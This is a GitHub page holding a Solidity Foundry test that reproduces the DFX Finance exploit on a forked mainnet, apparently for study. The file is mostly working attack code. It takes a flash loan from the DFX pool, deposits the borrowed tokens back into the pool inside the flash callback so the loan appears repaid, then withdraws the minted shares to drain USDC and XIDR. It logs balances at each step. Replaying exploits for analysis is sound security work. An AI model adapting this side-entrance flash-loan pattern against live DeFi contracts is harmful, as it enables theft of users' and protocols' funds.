generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 214
/
DFXFinance.attack.sol
114 lines (91 loc) · 4.88 KB
/
DFXFinance.attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {IERC20} from '../../interfaces/IERC20.sol';
import {IUniswapV3Pair} from '../../utils/IUniswapV3Pair.sol';
interface IDFX {
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
function deposit(uint256 _deposit, uint256 _deadline) external;
function withdraw(uint256 _curvesToBurn, uint256 _deadline) external;
function derivatives(uint256) external returns(address);
function balanceOf(address _of) external returns(uint256);
function viewDeposit(uint256 _deposit) external view returns(uint256, uint256[] memory);
function approve(address _spender, uint256 _amount) external returns(bool);
}
contract Exploit_DFXFinance is TestHarness {
IDFX internal dfx = IDFX(0x46161158b1947D9149E066d6d31AF1283b2d377C);
IERC20 internal usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal xidr = IERC20(0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52);
address internal attackerContract = 0x6cFa86a352339E766FF1cA119c8C40824f41F22D;
uint256 internal constant AMOUNT_TO_DEPOSIT = 200000000000000000000000;
// The attacker contract has the possibility to request for foreign flashloans and also to perform the attack with own tokens.
// The first tx shown above uses a flashloan on Uniswap and then performs the attack with own tokens (to save fees).
// We are showing an attack once the attacker stole funds several times and starts with pre-existing balance.
function setUp() external {
cheat.createSelectFork('mainnet', 15941703); // We pin one block before the exploit happened.
// We simulate some balance in this contract
writeTokenBalance(address(this), address(usdc), usdc.balanceOf(attackerContract));
writeTokenBalance(address(this), address(xidr), xidr.balanceOf(attackerContract));
cheat.deal(address(this), attackerContract.balance);
require(xidr.balanceOf(attackerContract) == xidr.balanceOf(address(this)), 'Failed to copy xidr balance');
require(usdc.balanceOf(attackerContract) == usdc.balanceOf(address(this)), 'Failed to copy usdc balance');
xidr.approve(address(dfx), type(uint256).max);
usdc.approve(address(dfx), type(uint256).max);
}
function test_attack() external {
console.log('------- INITIAL BALANCES -------');
console.log('DFX');
logBalances(address(dfx));
console.log('Attacker');
logBalances(address(this));
uint256 balanceBefore = address(this).balance;
// Get the amount of USDC required for the attack.
(/* uint256 curvesInExchange */, uint256[] memory amountPerToken) = dfx.viewDeposit(AMOUNT_TO_DEPOSIT);
uint256 amount0 = amountPerToken[0] * 994 / 1000; // From tx trace
uint256 amount1 = amountPerToken[1] * 994 / 1000; // From tx trace
attack_dfx(amount0, amount1);
uint256 balanceAfter = address(this).balance;
assertGe(balanceAfter, balanceBefore);
}
function attack_dfx(uint256 amt0, uint256 amt1) internal {
requestLoan(amt0, amt1); // We trigger the loan from here.
// Because we do not need to pay it back as we are depositing (rekt) we can later withdraw
// Burn the shares minted on deposit to claim the tokens back.
dfx.withdraw(dfx.balanceOf(address(this)), 16666017386600);
console.log('------- STEP IV: AFTER WITHDRAWING -------');
console.log('Attacker Balance');
logBalances(address(this));
console.log('DFX Balance');
logBalances(address(dfx));
}
function requestLoan(uint256 amt0, uint256 amt1) internal {
console.log('------- STEP I: FLASHLOAN REQUESTED -------');
dfx.flash(address(this), amt0, amt1, new bytes(0));
}
function flashCallback(uint256 /* _fee0 */, uint256 /* _fee1 */, bytes memory /* data */) external {
require(msg.sender == address(dfx), 'Only callable by DFX');
console.log('------- STEP II: INSIDE DFX FLASHLOAN CALLBACK -------');
console.log('Attacker Balance');
logBalances(address(this));
console.log('DFX Balance');
logBalances(address(dfx));
dfx.deposit(AMOUNT_TO_DEPOSIT, 16666017386600);
console.log('------- STEP III: AFTER SIDE ENTRANCE (DEPOSIT) -------');
console.log('Attacker Balance');
logBalances(address(this));
console.log('DFX Balance');
logBalances(address(dfx));
}
function logBalances(address _from) internal {
emit log_named_decimal_uint('NATIVE TOKENS', _from.balance, 18);
emit log_named_decimal_uint('USDC', usdc.balanceOf(_from), 6);
emit log_named_decimal_uint('XIDR', xidr.balanceOf(_from), 6);
console.log('\n');
}
}